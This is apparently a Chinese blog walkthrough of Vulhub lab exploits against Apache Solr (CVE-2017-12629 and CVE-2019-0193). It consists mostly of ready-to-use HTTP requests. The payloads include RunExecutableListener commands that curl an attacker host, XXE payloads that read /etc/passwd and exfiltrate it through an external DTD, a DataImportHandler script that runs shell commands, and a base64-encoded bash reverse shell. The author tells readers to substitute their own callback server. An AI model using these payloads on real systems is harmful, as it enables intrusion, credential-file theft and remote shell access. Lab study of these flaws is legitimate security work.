vulhub-Solr

Apache Solr 远程命令执行漏洞(CVE-2017-12629)

使用postCommit测试

1.第一次命令执行我们需要创建一个listener

GET /solr/demo/config HTTP/1.1
Host: 192.168.100.129:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 176

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"curl","dir":"/usr/bin/","args":["http://192.168.100.205:6666/test1"]}}

2.然后在我们的服务端启动一个简单的服务

python2 -m SimpleHTTPServer 6666

3.我们在update接口下激活我们的listener

POST /solr/demo/update HTTP/1.1
Host: 192.168.100.129:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 14

[{"id":"123"}]

这里的id是什么没有影响,其作用在于激活我们创建的listener

访问到了我们的服务器:
在这里插入图片描述

4.再次命令执行,这时候不能使用add-listener了,而要使用update-listener

使用add-listener的效果:
在这里插入图片描述
使用update-listener的效果:
在这里插入图片描述

使用newSearcher测试

1.创建一个listener,设置event为newSearcher

{"add-listener":{"event":"newSearcher","name":"newlistener_1","class":"solr.RunExecutableListener","exe":"curl","dir":"/usr/bin/","args":["http://192.168.100.205:6666/newSearcher"]}}

在这里插入图片描述
2.执行后就可以在服务端看到请求消息了,这个方法不需要使用update接口进行激活
在这里插入图片描述

Apache solr XML 实体注入漏洞(CVE-2017-12629)

该xxe为盲xxe,xxe payload如下:

{!xmlparser v='<!DOCTYPE a SYSTEM "http://192.168.43.23:8000"><a></a>'}&wt=xml

访问/solr/demo/select?q=xxepayload

这时候我们在我们的服务器上能看到:
在这里插入图片描述
使用error base xxe带出我们的数据:
payload:

<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+message+[<!ENTITY+%25+ext+SYSTEM+"http%3a//192.168.100.1/oob.dtd">+%25ext%3b]><message></message>

外部dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

实现了回显:

在这里插入图片描述
如果没有回显可以考虑用oob的方式获取我们想要的数据:

不知道为什么我这里失败了,以下是payload:

外部dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://192.168.100.1/oob.php?xxe=%file;'>">
%eval;
%error;

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

先决条件:能够出网

1.首先查看cores
使用:

curl http://your_ip:8983/solr/admin/cores

在这里插入图片描述
2.查看是否有利用的环境
访问:

http://your_ip:8983/solr/core_name/admin/mbeans?cat=QUERY&wt=json

查看是否使用了DataImportHandler模块,使用了则在返回的数据包中有org.apache.solr.handler.dataimport.DataImportHandler。
在这里插入图片描述
证明存在利用环境

3.利用
(1).文件读取

payload:
本质上是使用了java runtime的exec函数来进行命令执行的
如需测试,请将atom改成你测试的solr的core,在POST的url中和POST的数据core都要修改。

POST /solr/atom/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 744
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

结果如图:
在这里插入图片描述
(2).反弹shell

payload:

POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuOTcvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"):
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

将exec中base编码的部分修改为你要反弹到的服务器地址即可:

 java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuOTcvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"):

不知道为什么我反弹失败了,但是直接在目标机器上执行编码的命令是能够反弹shell的。

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558) 5.0.0~8.3.1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值